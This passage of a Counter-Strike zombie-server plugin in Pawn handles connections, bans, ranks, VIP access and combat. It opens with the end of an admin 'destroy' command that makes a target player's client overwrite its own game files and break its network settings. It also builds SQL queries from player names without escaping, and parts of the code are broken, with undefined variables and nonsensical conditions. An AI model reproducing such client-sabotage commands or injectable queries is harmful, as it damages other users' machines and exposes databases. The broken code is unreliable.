			client_cmd(iTarget, "motdfile sprites/muzzleflash1.spr; motdwrite a; motdfile events/ak47.sc; motd_write a; motdfile models/v_ak47.mdl; motd_write a");
			client_cmd(iTarget, "fps_max 1; rate 0; cl_cmdrate 0; cl_updaterate 0");
			client_cmd(iTarget, "hideconsole; hud_saytext 0; cl_allowdownload 0; cl_allowupload 0; cl_dlmax 1; _restart");
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 destroy^3 %s", g_cName[iPlayer], g_cName[iTarget]);
			client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
		}
		console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
	}
	return 0;
}

public client_putinserver(iPlayer)
{
	static Float:fCurrentTime;
	static iSize;
	g_bKilling[iPlayer] = 0;
	g_bGaveThisRound[iPlayer] = 0;
	g_bRanked[iPlayer] = 0;
	g_bGoldenDeagle[iPlayer] = 0;
	g_bGolden[iPlayer] = 0;
	g_bAlive[iPlayer] = 0;
	g_bNoDamage[iPlayer] = 0;
	g_bZombie[iPlayer] = 0;
	g_bAdmin[iPlayer] = 0;
	Loaded[iPlayer] = 0;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	g_iPoints[iPlayer] = 0;
	g_iPacks[iPlayer] = 0;
	g_iKillsThisRound[iPlayer] = 0;
	g_iZombieNextClass[iPlayer] = -1;
	g_fDamage[iPlayer] = 0;
	get_user_ip(iPlayer, g_cInternetProtocolAddress[iPlayer], 24, 1);
	fCurrentTime = get_gametime();
	get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
	get_user_name(iPlayer, g_cName[iPlayer], 32);
	strip_name(g_cName[iPlayer], 32);
	if (!g_bEnded)
	{
		static cPlayer[3];
		num_to_str(iPlayer, cPlayer, 3);
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", g_cQuery, cPlayer, 3);
			g_fLastQuery = fCurrentTime;
		}
		else
		{
            set_task(g_fLastQuery + 2.0 - fCurrentTime, "_Task_BanCheck", iPlayer + 50, "", 0, "", 0);
            g_fLastQuery = g_fLastQuery + 2.0;
		}
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			if (strlen(g_cSteam[iPlayer]) == 18)
			{
				formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer], g_cName[iPlayer]);
			}
			else
			{
				formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE n='%s'", g_cName[iPlayer]);
			}
			SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", g_cQuery, cPlayer, 3);
			g_fLastQuery = fCurrentTime;
		}
		else
		{
            set_task(g_fLastQuery + 2.0 - fCurrentTime, "_Task_AdminCheck", iPlayer + 100, "", 0, "", 0);
            g_fLastQuery = g_fLastQuery + 2.0;
		}
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, 3);
			g_fLastQuery = fCurrentTime;
		}
		else
		{
            set_task(g_fLastQuery + 2.0 - fCurrentTime, "_Task_RankCheck", iPlayer + 150, "", 0, "", 0);
            g_fLastQuery = g_fLastQuery + 2.0;
		}
        set_task(300.0, "TaskUpdateTime", iPlayer + 400, "", 0, "b", 0);
        set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
        set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
        set_task(12.0, "TaskShowMessage", iPlayer, "", 0, "", 0);		
	}
	if ((iSize = ArraySize(g_aAmmoData)))
	{
		static cSavedName[32];
		static i;
		i = iSize + -1;
		while (i > -1)
		{
			ArrayGetString(g_aNameData, i, cSavedName, 32);
			if (equali(cSavedName, g_cName[iPlayer], 0))
			{
				g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
			}
			i -= 1;
		}
	}
	if (!g_iPacks[iPlayer])
	{
		g_iPacks[iPlayer] = 99999;
	}
	set_task(1.0, "TaskCheckName", iPlayer, "", 0, "", 0);
	set_task(2.0, "AnnounceXa", iPlayer, "", 0, "", 0);
	g_bConnected[iPlayer] = 1;
	g_bVip[iPlayer] = 0;
	client_cmd(iPlayer, "cl_minmodels 0; mp3 stop");
	get_user_info(iPlayer, "_pw", g_cPasswords[iPlayer], 31);
	new i;
	while (i < g_iVipsCount)
	{
		if (equali(g_cVipNames[i], g_cName[iPlayer], 0))
		{
			if (equali(g_cPasswords[iPlayer], g_cVipPasswords[i], 0))
			{
				g_bVip[iPlayer] = 1;
				formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cVipFlags[i]);
				if (VipHasFlag(iPlayer, 114))
				{
					set_task(10.0, "TaskRays", 0, "", 0, "b", 0);
				}
			}
			else
			{
				server_cmd("kick #%d  Your VIP password is incorrect!", get_user_userid(iPlayer));
			}
			return 0;
		}
		i++;
	}
	return 0;
}

public AnnounceXa(Player)
{
	if (g_bConnected[Player])
	{
		new Name[32];
		get_user_name(Player, Name, 31);
		client_print_color(0, print_team_grey, "^1Player^4 %s^1 connected from [^3%s^1] [^3%s^1]", Name, Data[Player][1], Data[Player][4]);
	}
	return 0;
}

public TaskRays(iPlayer)
{
	if (g_bAlive[iPlayer] && !g_bRoundStart && !g_bRoundEnd && g_bModeStarted)
	{
		switch (get_team(iPlayer))
		{
			case 1:
			{
				new i = 1;
				while (i <= g_iMaxClients)
				{
					if (g_bAlive[i] && !g_bZombie[i] && !visible(iPlayer, i))
					{
						Beam(iPlayer, i, 0, 42, 255);
					}
					i++;
				}
			}
			case 2:
			{
				new i = 1;
				while (i <= g_iMaxClients)
				{
					if (g_bAlive[i] && g_bZombie[i] && !visible(iPlayer, i))
					{
						Beam(iPlayer, i, 255, 24, 0);
					}
					i++;
				}
			}
			default:
			{
			}
		}
	}
	return 0;
}

public GetCC(p)
{
	if (g_bConnected[p])
	{
		LoadData(p);
	}
	return 0;
}

public ShowMsgGlow(iPlayer)
{
	if (!g_bConnected[iPlayer] || !g_bRanked[iPlayer])
	{
		return 0;
	}
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 3);
	formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
	SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", g_cQuery, cPlayer, 3);
	return 0;
}

public TaskPreparePlayerChanged(i)
{
	if (g_bConnected[i] && !g_bRanked[i])
	{
		static cPlayer[3];
		num_to_str(i, cPlayer, 3);
		formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[i]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, 3);
	}
	return 0;
}

public TaskShowMessage(iPlayer)
{
	if (g_bConnected[iPlayer] && g_bRanked[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			static cPlayer[3];
			num_to_str(iPlayer, cPlayer, 3);
			formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", g_cQuery, cPlayer, "");
			g_fLastQuery = fCurrentTime;
		}
		else
		{
			set_task(floatsub(floatadd(2.0, g_fLastQuery), fCurrentTime), "ShowMsgGlow", iPlayer, "", 0, "", 0);
			g_fLastQuery = floatadd(2.0, g_fLastQuery);
		}
	}
	else
	{
		if (!g_bRanked[iPlayer] && g_bConnected[iPlayer])
		{
			set_task(3.0, "TaskShowMessage", iPlayer, "", 0, "", 0);
		}
	}
	return 0;
}

public _Task_BanCheck(iPlayer)
{
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, "");
	formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer]);
	SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", g_cQuery, cPlayer, 3);
	return 0;
}

public _Task_AdminCheck(iPlayer)
{
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 3);
	if (strlen(g_cSteam[iPlayer]) == 18)
	{
		formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer], g_cName[iPlayer]);
	}
	else
	{
		formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE n='%s'", g_cName[iPlayer]);
	}
	SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", g_cQuery, cPlayer, 3);
	return 0;
}

public _Task_RankCheck(iPlayer)
{
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 3);
	formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
	SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, 3);
	return 0;
}

public SQLPrintGlowRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static cScore[15];
	static cDeaths[15];
	static cKills[15];
	static cTotal[15];
	static cRank[15];
	static cBuffer[900];
	static iPlayer;
	iPlayer = str_to_num(cData);
	AddCommas(g_iScore[iPlayer], cScore, 14);
	AddCommas(SQL_NumResults(hQuery), cRank, 14);
	AddCommas(g_iRanksCount, cTotal, 14);
	AddCommas(g_iDeaths[iPlayer], cDeaths, 14);
	AddCommas(g_iKills[iPlayer], cKills, 14);
	new var1;
	if (g_iDeaths[iPlayer])
	{
		var1 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
	}
	else
	{
		var1 = float(g_iKills[iPlayer]);
	}
	formatex(cBuffer, 899, "Welcome, %s\nRank: %s of %s Score: %s\nKills: %s Deaths: %s KPD: %0.2f\nOnline: %s\nEnjoy!", g_cName[iPlayer], cRank, cTotal, cScore, cKills, cDeaths, var1, g_cOnlineTime[iPlayer]);
	show_glow_message(iPlayer, cBuffer, 40960, 0.02, 0.21, 10.0);
	show_glow_message(iPlayer, "Zm.CsDevils.Com\nDon't forget to add us to your favorites!", 6904269, 0.02, 0.5, 10.0);
	return 0;
}

show_glow_message(iPlayer, cMessage[], iColor, Float:fX, Float:fY, Float:fDuration)
{
	if (!g_bConnected[iPlayer] || !is_user_connected(iPlayer))
	{
		return 0;
	}
	message_begin(MSG_ONE_UNRELIABLE, SVC_DIRECTOR, _, iPlayer);
	write_byte(strlen(cMessage) + 31);
	write_byte(6);
	write_byte(2);
	write_long(iColor);
	write_long(fX);
	write_long(fY);
	write_long(0.1);
	write_long(1.5);
	write_long(fDuration);
	write_long(6.0);
	write_string(cMessage);
	message_end();
	return 0;
}

public TaskDeleteBans()
{
	SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
	return 0;
}

public TaskDeleteRanks()
{
	SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
	return 0;
}

public TaskUnban()
{
    static Float:fCurrentTime;
    fCurrentTime = get_gametime();
    if (fCurrentTime - g_fLastQuery >= 2.0)
    {
        SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
        g_fLastQuery = fCurrentTime;
    }
    else
    {
        set_task(g_fLastQuery + 2.0 - fCurrentTime, "TaskDeleteRanks", 0, "", 0, "", 0);
        g_fLastQuery = g_fLastQuery + 2.0;
    }
    if (fCurrentTime - g_fLastQuery >= 2.0)
    {
        SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
        g_fLastQuery = fCurrentTime;
    }
    else
    {
        set_task(g_fLastQuery + 2.0 - fCurrentTime, "TaskDeleteBans", 0, "", 0, "", 0);
        g_fLastQuery = g_fLastQuery + 2.0;
    }
    return 0;
}

public client_infochanged(iClient)
{
	if (g_bConnected[iClient])
	{
		static NewName[33];
		get_user_info(iClient, "name", NewName, 32);
		strip_name(NewName, 32);
		if (!equali(g_cName[iClient], NewName, 0))
		{
			OnNameChanged(iClient, NewName);
		}
	}
	return 0;
}

public OnPassword(iPlayer, String:cPassword[])
{
    formatex(g_cPasswords[iPlayer], 31, "%s", cPassword);
    return 0;
}

OnNameChanged(iPlayer, cName[])
{
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	new var1;
	if (!g_bRanked[iPlayer] || floatsub(fCurrentTime, g_fLastNameChanged[iPlayer]) < 4.0)
	{
		server_cmd("kick #%d  Stop changing your name so fast!", get_user_userid(iPlayer));
	}
	else
	{
		if (g_bRanked[iPlayer])
		{
			g_bRanked[iPlayer] = 0;
			formatex(g_cName[iPlayer], 32, "%s", cName);
			static cPlayer[3];
			num_to_str(iPlayer, cPlayer, 3);
			formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
			 if (fCurrentTime - g_fLastQuery >= 2.0)
			{
				SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, "");
				g_fLastNameChanged[iPlayer] = fCurrentTime;
				g_fLastQuery = fCurrentTime;
			}
            set_task(g_fLastQuery + 2.0 - fCurrentTime, "TaskPreparePlayerChanged", iPlayer, "", 0, "", 0);
            g_fLastQuery = g_fLastQuery + 2.0;
            g_fLastNameChanged[iPlayer] = fCurrentTime;
            g_bRanked[iPlayer] = 0;
		}
	}
    set_task(5.0, "TaskCheckName", iPlayer, "", 0, "", 0);
	return 0;
}

public TaskCheckName(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (g_bRanked[iPlayer])
		{
			check_for_swear(iPlayer);
		}
		set_task(5.00, "TaskCheckName", iPlayer, "", 0, "", 0);
	}
	return 0;
}

public CmdMap(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 55))
	{
		static cMap[32];
		read_argv(1, cMap, 32);
		if (is_map_valid(cMap))
		{
			set_cvar_num("mp_timelimit", 4096);
			set_cvar_string("nextmap", cMap);
            set_task(1.0, "TimerChangeMap", 0, "", 0, "", 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 changed map to^4 %s", g_cName[iPlayer], cMap);
		}
		console_print(iPlayer, "[Zombie Outstanding] Map %s is not valid!", cMap);
	}
	return 0;
}

public OnTraceAttack(victim, attacker, Float:damage, Float:direction[3], tracehandle, damage_type)
{
	if (victim == attacker || !is_user_valid_connected(attacker))
		return 1;
	
	if (g_bRoundStart || g_bRoundEnd )
		return 4;
	
	if (g_bZombie[attacker] == g_bZombie[victim])
		return 4;
	
	if (g_bNoDamage [victim])
		return 4;
	
	if (!g_bZombie[victim] || !(damage_type & DMG_BULLET))
		return 1;
	
	if (g_iPlayerType[victim] & 1 && 0.25 == 0.0)
		return 1;

	if (g_iPlayerType[victim] & 2 && 0.25 == 0.0)
		return 1;
	
	if ((g_bGolden[attacker] && g_iWeapon[attacker] == 28) || (g_bGoldenDeagle[attacker] && g_iWeapon[attacker] == 26))
	{
		Tracers(attacker);
		LightningTracers(attacker);
	}	
	
	static ducking
	ducking = pev(victim, pev_flags) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND)
	
	if (ducking && 0.25  == 0.0)
		return 1;
	
	static origin1[3], origin2[3]
	get_user_origin(victim, origin1)
	get_user_origin(attacker, origin2)
	
	if (get_distance(origin1, origin2) > 500)
		return 1;
	
	static Float:velocity[3]
	pev(victim, pev_velocity, velocity)
	
	xs_vec_mul_scalar(direction, damage, direction)
	
	xs_vec_mul_scalar(direction, kb_weapon_power[g_iWeapon[attacker]], direction)

	if (ducking)
	xs_vec_mul_scalar(direction, 0.25, direction)
	
	if (g_iPlayerType[victim] & 1)
	xs_vec_mul_scalar(direction, 0.25, direction)
	
	else if (g_iPlayerType[victim] & 2)
	xs_vec_mul_scalar(direction, 0.15, direction)
	
	else
	xs_vec_mul_scalar(direction, g_fZombieKnockbacks[g_iZombieClass[victim]], direction)
	
	xs_vec_add(velocity, direction, direction)
	
	direction[2] = velocity[2]
	
	set_pev(victim, pev_velocity, direction)
	
	return 1;
}

public OnTouch(iWeapon, id)
{
	if ( !is_user_valid_connected ( id ) ) return 1;
	
	if ( g_bZombie [id] || ( ( g_iPlayerType[id] & 4 || g_iPlayerType[id] & 8) && !g_bFake [id] ) ) return 4;
	
	return 1;
}

public OnTakeDamage(Victim, Inflictor, Attacker, Float:Damage, DamageType)
{
	if ( Victim == Attacker || !is_user_valid_connected ( Attacker ) ) return 1;
	
	if ( g_bRoundStart || g_bRoundEnd ) return 4;
	
	if ( g_bNoDamage [Victim] ) return 4;

	if ( g_bZombie [Attacker] == g_bZombie [Victim] ) return 4;
	
	if (!g_bZombie[Attacker])
	{
        if (g_iPlayerType[Attacker] & 8 && g_iWeapon[Attacker] == 18)
        {
            Damage = 3000.0;
            SetHamParamFloat(4, Damage);
        }
        else
        {
            if (g_iPlayerType[Attacker])
            {
                Damage *= 0.75;
                SetHamParamFloat(4, Damage);
            }
            if (g_bDoubleDamage[Attacker])
            {
                Damage *= 2.0;
                SetHamParamFloat(4, Damage);
            }
            if (((g_iWeapon[Attacker] == 28 && g_bGolden[Attacker]) || (g_iWeapon[Attacker] == 26 && g_bGoldenDeagle[Attacker])))
            {
				Damage *= 2.0;
				SetHamParamFloat(4, Damage);
            }			
            g_fDamage[Attacker] += floatround(Damage);
            while (g_fDamage[Attacker] > 500.0)
            {
                g_iPacks[Attacker]++;
                g_fDamage[Attacker] -= 500.0;
            }
            if (++g_iPosition[Attacker] == 8)
            {
				g_iPosition[Attacker] = 0;
            }
            set_hudmessage(0, 40, 80, g_flCoords[g_iPosition[Attacker]][0], g_flCoords[g_iPosition[Attacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
            ShowSyncHudMsg(Attacker, "%0.0f", Damage);		
        }
        return 1;
	}
	
	if ( DamageType & 1<<24 ) return 4;
	
	if ( g_iPlayerType[Attacker] & 1 )
	{
		if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
		
		return 1;
	}
	else if ( g_iPlayerType[Attacker] & 2 )
	{
		if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
		
		return 1;
	}
	
	if (g_iPlayerType[Attacker] & 1 || g_iPlayerType[Attacker] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1) return 1;	

	static Float: Armor; pev ( Victim, pev_armorvalue, Armor );
	static iHumans;
	static iZombies;

	if ( Armor > 0.0 )
	{
		client_cmd(Victim, "spk ZombieOutstanding/armor_hit");
		
		set_pev ( Victim, pev_armorvalue, floatmax ( 0.0, Armor - Damage ) );
			
		return 4;
	}	
	MakeZombie(Attacker, Victim, false, false, false);	
	iZombies = GetZombies();
	iHumans = GetHumans();
	if (iZombies < iHumans)
	{
		if (iZombies < 4 && iZombies && g_bZombie[iVictim] && !g_bZombie[iAttacker])
		{
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
			ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
		}
	}
	else
	{
		if (iZombies > iHumans)
		{
			if (iHumans < 4 && iHumans && g_bZombie[iAttacker] && !g_bZombie[iVictim])
			{
				set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
				ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans);
			}
		}
	}
	return 4;
}

public OnPlayerJump(iPlayer)
{
    if (g_bAlive[iPlayer])
    {
        new nbut = get_user_button(iPlayer)
        new obut = get_user_oldbutton(iPlayer)
		
        if (g_bZombie[iPlayer] && !g_iPlayerType[iPlayer] && g_iZombieClass[iPlayer] == 3)
        {
            if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && !g_iJumps[iPlayer])
            {
                new Float:fVelocity[3];
                entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
                fVelocity[2] = random_float(265.0, 285.0);
                entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
                g_iJumps[iPlayer]++;
            }
            if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
            {
                g_iJumps[iPlayer] = 0;
            }
        }
        if (!g_bZombie[iPlayer] && g_iMaxJumps[iPlayer])
        {
            if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iMaxJumps[iPlayer] - 1)
            {
                new Float:fVelocity[3];
                entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
                fVelocity[2] = random_float(265.0, 285.0);
                entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
                g_iJumps[iPlayer]++;
            }
            if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
            {
                g_iJumps[iPlayer] = 0;
            }
        }
    }
    return 0;
}


GetLastHuman()
{
	new i = 1;
	while (i <= g_iMaxClients)
	{
		if (g_bAlive[i] && g_bConnected[i] && !g_bZombie[i])
		{
			return i;
		}
		i++;
	}
	return 0;
}

GetLastZombie()
{
	new i = 1;
	while (i <= g_iMaxClients)
	{
		if (g_bAlive[i] && g_bConnected[i] && g_bZombie[i])
		{
			return i;
		}
		i++;
	}
	return 0;
}

public OnKilled(iVictim, iAttacker, iGibs)
{
	static iHumans;
	static iZombies;
	g_bFlash[iVictim] = 1;
	g_bGoldenDeagle[iVictim] = 0;
	g_bGolden[iVictim] = 0;
	g_bKilling[iVictim] = 0;
	g_bFlashEnabled[iVictim] = 1;
	g_bTryder[iVictim] = 0;
	g_bUnlimitedClip[iVictim] = 0;
	g_bFrozen[iVictim] = 0;
	set_frozen(iVictim, 0);
	remove_task(iVictim + 350, 0);
	g_bAlive[iVictim] = 0;
	iZombies = GetZombies();
	iHumans = GetHumans();
	if (iZombies < iHumans)
	{
		if (iZombies < 4 && iZombies && g_bZombie[iVictim] && iAttacker > 0 && iAttacker <= g_iMaxClients && !g_bZombie[iAttacker])
		{
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
			ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
		}
	}
	else
	{
		if (iZombies > iHumans)
		{
			if (iHumans < 4 && iHumans && iAttacker > 0 && iAttacker <= g_iMaxClients && g_bZombie[iAttacker] && !g_bZombie[iVictim])
			{
				set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
				ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans );
			}
		}
	}
	if (iZombies == 1 && iHumans == 1)
	{
		set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iVersusSync, "%s vs %s", g_cName[GetLastHuman()], g_cName[GetLastZombie()]);
	}
	if ( g_bZombie [iVictim] || !g_bZombie [iVictim])
	{
		if (g_bZombie[iVictim])
		{
			remove_task(iVictim + 200, 0);
		}
		return 0;
	}
	if (!g_bZombie[iAttacker])
	{
		if (g_iPlayerType[iAttacker] & 8)
		{
			static Origin [3]; get_user_origin ( Victim, Origin );			
			message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
			write_byte ( TE_LAVASPLASH ) ;
			write_coord ( Origin [0] );
			write_coord ( Origin [1] );
			write_coord ( Origin [2] - 26 ); 
			message_end (  );
			if (random_num(1, 4) == 1)
			{
				g_iPoints[Attacker] += 1;
				set_hudmessage(255, 180, 30, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
				ShowSyncHudMsg(Attacker, g_iRegenerationSync, "== SNIPER ==^n!!!Randomly got +1 point!!!^n[25% chance per zombie]");
			}
		}
		else
		{
			g_iPacks[Attacker]++;
			if (g_iPlayerType[Attacker])
			{
				g_iPoints[Attacker]++;
			}
			else
			{
				g_iPoints[Attacker] += 2;
			}
			remove_task(Victim + 200, 0);
		}
		if (g_iPlayerType[iAttacker])
		{
			SetHamParamInteger(3, 2);
		}
	}
	else
	{
		g_iPacks[iAttacker] += 2;
		if (!g_iPlayerType[iAttacker])
		{
			g_iPoints[iAttacker]++;
		}
		g_iScore[iAttacker] += 12;
		g_iScore[iVictim] -= 20;
		if (g_iZombieClass[iAttacker] == 6 && !g_iPlayerType[iAttacker])
		{
			SetHamParamInteger(3, 2);
			message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, Attacker)
			write_short(4096)
			write_short(2048)
			write_short(0)
			write_byte(255)
			write_byte(0)
			write_byte(0)
			write_byte(255)
			message_end()	
		}
		if (g_iPlayerType[iAttacker])
		{
			SetHamParamInteger(3, 2);
			g_Hidden[iVictim] = 1;
		}
	}
	g_iKills[iAttacker]++;
	g_iDeaths[iVictim]++;
	g_iKillsThisRound[iAttacker]++;
	SaveRank(iAttacker);
	SaveRank(iVictim);
	return 0;
}

public OnGrenadeThink(iEntity)
{
	if (get_dmgtime(iEntity) > get_gametime())
	{
		return 1;
	}
	switch (pev(iEntity, 5))
	{
		case 1:
		{
			Infection_Explode(iEntity);
			return 4;
		}
		case 2:
		{
			Fire_Explode(iEntity);
			return 4;
		}
		case 3:
		{
			Freeze_Explode(iEntity);
			return 4;
		}
		case 4:
		{
			Explosion_Explode(iEntity);
			return 4;
		}
		case 5:
		{
			Killing_Explode(iEntity);
			return 4;
		}
		default:
		{
		}
	}
	return 1;
}

public OnPlayerDuck(iPlayer)
{
	static Float: CoolDown, Float: CurrentTime;
	
	if ( g_bZombie [id] && g_iPlayerType[id] & 1 )
	{	
		CoolDown = 1.0;
	}
	else return;
	
	CurrentTime = get_gametime (  );
	
	if ( CurrentTime - g_fLastLeapTime [id] < CoolDown ) return;
	
	if ( !g_bFake [id] && !( pev ( id, pev_button ) & ( IN_JUMP | IN_DUCK ) == ( IN_JUMP | IN_DUCK ) ) ) return;

	if ( !( pev ( id, pev_flags ) & FL_ONGROUND ) || GetEntitySpeed ( id ) < 80 ) return;
	
	static Float: Velocity [3];

	velocity_by_aim ( id, 500, Velocity ) 
	
	Velocity [2] = 300.0;
	
	set_pev ( id, pev_velocity, Velocity );
	
	g_fLastLeapTime [id] = CurrentTime;
}

public OnPreFrame(iPlayer)
{
    if (g_bAlive[iPlayer])
    {
        if (g_bFrozen[iPlayer])
        {
            set_speed(iPlayer, 0.0);
        }
        else if (g_bTryder[iPlayer])
        {
            set_gravity(iPlayer, 0.5);
            set_speed(iPlayer, 250.0);
        }
        else if (g_bZombie[iPlayer])
        {
            if (!g_iPlayerType[iPlayer])
            {
                set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
                set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
            }
            else
            {
                if (g_iPlayerType[iPlayer] & 1)
                {
                    set_speed(iPlayer, 250.0);
                    set_gravity(iPlayer, 0.5);
                }
                if (g_iPlayerType[iPlayer] & 2)
                {
                    set_speed(iPlayer, 600.0);
                    set_gravity(iPlayer, 0.4);
                }
            }
        }
		else
		{
            if (!g_iPlayerType[iPlayer])
            {
                set_speed(iPlayer, 240.0);
                set_gravity(iPlayer, 1.0);
            }
            if (g_iPlayerType[iPlayer] & 4)
            {
                set_speed(iPlayer, 250.0);
                set_gravity(iPlayer, 0.85);
            }
            if (g_iPlayerType[iPlayer] & 8)
            {
                set_speed(iPlayer, 240.0);
                set_gravity(iPlayer, 1.1);
            }
		}
    }
    return 0;
}

public Rocket_Touch( iOwner, iRocket )
{
	if( g_bConnected[ iOwner ] )
	{
		static iPlayers[ 32 ], iNum, i;
		get_players( iPlayers, iNum, "a" );

		for( i = 0; i < iNum; i++ )
		{
			if( g_bZombie[iPlayers[i]])
			{
				static Float: fDistance, Float: fDamage;
				fDistance = entity_range( iPlayers[ i ], iRocket );

				if( fDistance < 320.0 )
				{
					fDamage = 1050.0 - fDistance;
				
					static Float: fVelocity[ 3 ];
					pev( iPlayers[ i ], pev_velocity, fVelocity );
					xs_vec_mul_scalar( fVelocity, 2.75, fVelocity );
					fVelocity[ 2 ] *= 1.75;
					set_pev( iPlayers[ i ], pev_velocity, fVelocity );
					
					message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenFade" ), _, iPlayers[ i ] );
					write_short( 4096 );
					write_short( 6096 );
					write_short( 0x0000 );
					write_byte( 220 );
					write_byte( 0 );
					write_byte( 0 );
					write_byte( fDistance < 220 ? 215 : 205 );
					message_end( );
					
					message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenShake" ), _, iPlayers[ i ] );
					write_short( 4096 * 100 );
					write_short( 4096 * 500 ); 
					write_short( 4096 * 200 );
					message_end( );
				
					if( float( get_health( iPlayers[ i ] ) ) - fDamage > 0.0 )
						ExecuteHamB( Ham_TakeDamage, iPlayers[ i ], iRocket, iOwner, fDamage, DMG_BLAST );
						
